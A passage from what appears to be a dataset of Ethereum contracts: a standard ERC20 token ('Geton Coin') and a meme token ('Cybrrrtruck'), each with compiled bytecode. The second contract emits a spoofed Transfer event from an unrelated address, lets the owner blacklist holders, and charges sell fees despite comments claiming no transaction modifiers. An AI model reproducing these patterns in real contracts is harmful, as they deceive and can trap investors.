unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "Geton Coin"; _symbol = "GETON"; _mint(_msgSender(), 154200000000000000); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 8; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611015565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610ffa565b60405180910390f35b610104610326565b6040516101119190611117565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610ffa565b60405180910390f35b610152610431565b60405161015f9190611132565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610ffa565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190611117565b60405180910390f35b6101d061052e565b6040516101dd9190611015565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610ffa565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610ffa565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190611117565b60405180910390f35b6060600380546102859061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061127b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611097565b60405180910390fd5b61042585610414610759565b858461042091906111bf565b610761565b60019150509392505050565b60006008905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611169565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546105699061127b565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906110f7565b60405180910390fd5b6106a9610697610759565b8585846106a491906111bf565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906110d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611057565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190611117565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906110b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611037565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611077565b60405180910390fd5b8181610aa991906111bf565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190611169565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190611117565b60405180910390a350505050565b505050565b600081359050610bbf8161131c565b92915050565b600081359050610bd481611333565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611205565b82525050565b6000610ce48261114d565b610cee8185611158565b9350610cfe818560208601611248565b610d078161130b565b840191505092915050565b6000610d1f602383611158565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d85602283611158565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610deb602683611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e51602883611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eb7602583611158565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1d602483611158565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f83602583611158565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fe581611231565b82525050565b610ff48161123b565b82525050565b600060208201905061100f6000830184610cca565b92915050565b6000602082019050818103600083015261102f8184610cd9565b905092915050565b6000602082019050818103600083015261105081610d12565b9050919050565b6000602082019050818103600083015261107081610d78565b9050919050565b6000602082019050818103600083015261109081610dde565b9050919050565b600060208201905081810360008301526110b081610e44565b9050919050565b600060208201905081810360008301526110d081610eaa565b9050919050565b600060208201905081810360008301526110f081610f10565b9050919050565b6000602082019050818103600083015261111081610f76565b9050919050565b600060208201905061112c6000830184610fdc565b92915050565b60006020820190506111476000830184610feb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061117482611231565b915061117f83611231565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111b4576111b36112ad565b5b828201905092915050565b60006111ca82611231565b91506111d583611231565b9250828210156111e8576111e76112ad565b5b828203905092915050565b60006111fe82611211565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000600282049050600182168061129357607f821691505b602082108114156112a7576112a66112dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611325816111f3565b811461133057600080fd5b50565b61133c81611231565b811461134757600080fd5b5056fea264697066735822122015dcce250ca7708db9fde9b2e07043dfe6e07bc0abdcf3249c48892eb246ed6f64736f6c63430008000033
[ 38 ]
0xf1d42d913ce0f91e31b4feb612bec002d80711a1
/* tg: https://t.me/Cybrrrtruckerc20 // No dev-wallets // Locked liquidity // Renounced ownership! // No tx modifiers // Community-Driven */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Cybrrrtruck is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Cybrrrtruck | https://t.me/Cybrrrtruckerc20"; string private constant _symbol = "Cybrrrtruck"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xe42bf1cd0156B05F0d48c4c43a5aD76A785DBa92); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (30 seconds); _feeAddr1 = 5; _feeAddr2 = 10; } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 5; _feeAddr2 = 15; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061298b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612505565b61040d565b60405161016d9190612970565b60405180910390f35b34801561018257600080fd5b5061018b61042b565b6040516101989190612aed565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906124b2565b61043f565b6040516101d59190612970565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612418565b610518565b005b34801561021357600080fd5b5061021c610608565b6040516102299190612b62565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061258e565b610611565b005b34801561026757600080fd5b506102706106c3565b005b34801561027e57600080fd5b5061029960048036038101906102949190612418565b610735565b6040516102a69190612aed565b60405180910390f35b3480156102bb57600080fd5b506102c4610786565b005b3480156102d257600080fd5b506102db6108d9565b6040516102e891906128a2565b60405180910390f35b3480156102fd57600080fd5b50610306610902565b604051610313919061298b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612505565b61093f565b6040516103509190612970565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612545565b61095d565b005b34801561038e57600080fd5b50610397610a87565b005b3480156103a557600080fd5b506103ae610b01565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612472565b611063565b6040516103e49190612aed565b60405180910390f35b60606040518060600160405280602b8152602001613217602b9139905090565b600061042161041a6110ea565b84846110f2565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061044c8484846112bd565b61050d846104586110ea565b6105088560405180606001604052806028815260200161324260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104be6110ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118779092919063ffffffff16565b6110f2565b600190509392505050565b6105206110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a490612a4d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106196110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d90612a4d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107046110ea565b73ffffffffffffffffffffffffffffffffffffffff161461072457600080fd5b6000479050610732816118db565b50565b600061077f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611947565b9050919050565b61078e6110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081290612a4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f437962727272747275636b000000000000000000000000000000000000000000815250905090565b600061095361094c6110ea565b84846112bd565b6001905092915050565b6109656110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e990612a4d565b60405180910390f